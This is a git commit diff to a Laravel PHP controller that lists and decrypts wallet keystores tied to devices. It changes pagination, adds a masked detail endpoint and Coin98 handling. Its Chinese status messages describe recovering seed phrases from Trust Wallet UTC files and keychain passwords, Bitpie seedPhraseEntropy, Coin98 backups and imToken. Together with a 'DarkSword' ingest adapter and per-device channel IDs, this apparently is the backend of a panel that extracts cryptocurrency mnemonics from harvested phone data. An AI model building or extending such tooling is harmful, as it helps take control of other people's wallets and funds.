fix: keystore
This commit is contained in:
@@ -51,7 +51,7 @@ class KeystoreController extends Controller
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$cols = array_merge(WalletKeystore::listColumns(), [
|
||||
$cols = array_merge(WalletKeystore::listColumnsLight(), [
|
||||
'devices.device_id as device_key',
|
||||
'devices.channel_id as device_channel_id',
|
||||
]);
|
||||
@@ -60,18 +60,33 @@ class KeystoreController extends Controller
|
||||
'limit' => $limit,
|
||||
'mem' => memory_get_usage(true),
|
||||
]);
|
||||
$paginator = $q->paginate($limit, $cols, 'page', $page);
|
||||
|
||||
// Two-step query to avoid MySQL "Out of sort memory" (HY001):
|
||||
// LENGTH(raw_json) in the select list forces MySQL to read large
|
||||
// blobs during the ORDER BY sort, overflowing the sort buffer.
|
||||
// Step 1: get paginated IDs (no blob access).
|
||||
// Step 2: fetch light columns for those IDs only.
|
||||
$total = $q->toBase()->getCountForPagination();
|
||||
$ids = $q->toBase()->forPage($page, $limit)->pluck('wallet_keystores.id')->all();
|
||||
|
||||
$rows = count($ids) > 0
|
||||
? WalletKeystore::query()
|
||||
->join('devices', 'devices.id', '=', 'wallet_keystores.device_id')
|
||||
->whereIn('wallet_keystores.id', $ids)
|
||||
->select($cols)
|
||||
->get()
|
||||
->sortBy(fn (WalletKeystore $row) => array_search($row->id, $ids))
|
||||
->values()
|
||||
: collect();
|
||||
|
||||
Log::info('keystore.list.data.page', [
|
||||
'total' => $paginator->total(),
|
||||
'ids' => collect($paginator->items())->pluck('id')->all(),
|
||||
'sizes' => collect($paginator->items())->mapWithKeys(
|
||||
static fn (WalletKeystore $row) => [$row->id => (int) ($row->raw_json_len ?? 0)]
|
||||
)->all(),
|
||||
'total' => $total,
|
||||
'ids' => $rows->pluck('id')->all(),
|
||||
'mem' => memory_get_usage(true),
|
||||
]);
|
||||
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function (WalletKeystore $row) use ($portal) {
|
||||
$data = $rows->map(function (WalletKeystore $row) use ($portal) {
|
||||
return $this->rowPayload($row, $portal);
|
||||
})->values();
|
||||
Log::info('keystore.list.data.done', [
|
||||
@@ -83,7 +98,7 @@ class KeystoreController extends Controller
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'count' => $total,
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
@@ -122,6 +137,45 @@ class KeystoreController extends Controller
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Return the full keystore raw_json with sensitive fields masked,
|
||||
* so the admin can inspect the plaintext structure (wallet names,
|
||||
* addresses, timestamps, version info, etc.) without exposing
|
||||
* encrypted blobs or private keys.
|
||||
*/
|
||||
public function detail(WalletKeystore $keystore)
|
||||
{
|
||||
if (! $this->keystoreAllowed($keystore)) {
|
||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||
}
|
||||
|
||||
$len = (int) WalletKeystore::query()->whereKey($keystore->id)->toBase()->selectRaw('LENGTH(raw_json) as n')->value('n');
|
||||
Log::info('keystore.detail.start', [
|
||||
'id' => $keystore->id,
|
||||
'raw_json_len' => $len,
|
||||
'mem' => memory_get_usage(true),
|
||||
]);
|
||||
$masked = $keystore->maskedDetail();
|
||||
Log::info('keystore.detail.done', [
|
||||
'id' => $keystore->id,
|
||||
'raw_json_len' => $len,
|
||||
'mem' => memory_get_usage(true),
|
||||
'peak' => memory_get_peak_usage(true),
|
||||
]);
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'data' => [
|
||||
'id' => $keystore->id,
|
||||
'source' => $keystore->sourceLabel(),
|
||||
'decrypted' => (int) $keystore->decrypted,
|
||||
'kind' => $keystore->kindLabel(),
|
||||
'detail' => $masked,
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
public function decrypt(WalletKeystore $keystore, DarkSwordIngestAdapter $adapter, DsKeystoreDecrypt $decrypt)
|
||||
{
|
||||
if (! $this->keystoreAllowed($keystore)) {
|
||||
@@ -166,6 +220,7 @@ class KeystoreController extends Controller
|
||||
'utc' => $counts['utc'],
|
||||
'passwords' => $counts['passwords'],
|
||||
'entropy' => $counts['entropy'],
|
||||
'coin98' => $counts['coin98'] ?? 0,
|
||||
],
|
||||
]);
|
||||
}
|
||||
@@ -186,9 +241,11 @@ class KeystoreController extends Controller
|
||||
'kind' => $stats['kind'],
|
||||
'item_count' => $stats['item_count'],
|
||||
'summary' => $stats['summary'],
|
||||
'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false),
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'keystores']),
|
||||
'items_url' => route($portal.'.keystores.items', $row->id),
|
||||
'detail_api_url' => route($portal.'.keystores.detail', $row->id),
|
||||
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
|
||||
];
|
||||
}
|
||||
@@ -201,6 +258,7 @@ class KeystoreController extends Controller
|
||||
$utc = (int) $counts['utc'];
|
||||
$passwords = (int) $counts['passwords'];
|
||||
$entropy = (int) $counts['entropy'];
|
||||
$coin98 = (int) ($counts['coin98'] ?? 0);
|
||||
if ($utc === 0 && $passwords > 0) {
|
||||
return '有钥匙串密码,但没有沙盒 UTC 文件(Documents/keystore/UTC--…)。Trust 不能只靠钥匙串解密';
|
||||
}
|
||||
@@ -217,8 +275,11 @@ class KeystoreController extends Controller
|
||||
if ($entropy > 0) {
|
||||
return '有 Bitpie seedPhraseEntropy,但未能还原助记词';
|
||||
}
|
||||
if ($coin98 > 0) {
|
||||
return '有 Coin98 WALLET_SECURE_BACKUP,但未能解析助记词';
|
||||
}
|
||||
|
||||
return '未解出助记词(Trust 需要 UTC+钥匙串密码,Bitpie 需要 seedPhraseEntropy)';
|
||||
return '未解出助记词(Trust 需要 UTC+钥匙串密码,Bitpie 需要 seedPhraseEntropy,Coin98 需要 WALLET_SECURE_BACKUP,imToken 需要密码)';
|
||||
}
|
||||
|
||||
private function keystoreAllowed(WalletKeystore $keystore): bool
|
||||
|
||||
Reference in New Issue
Block a user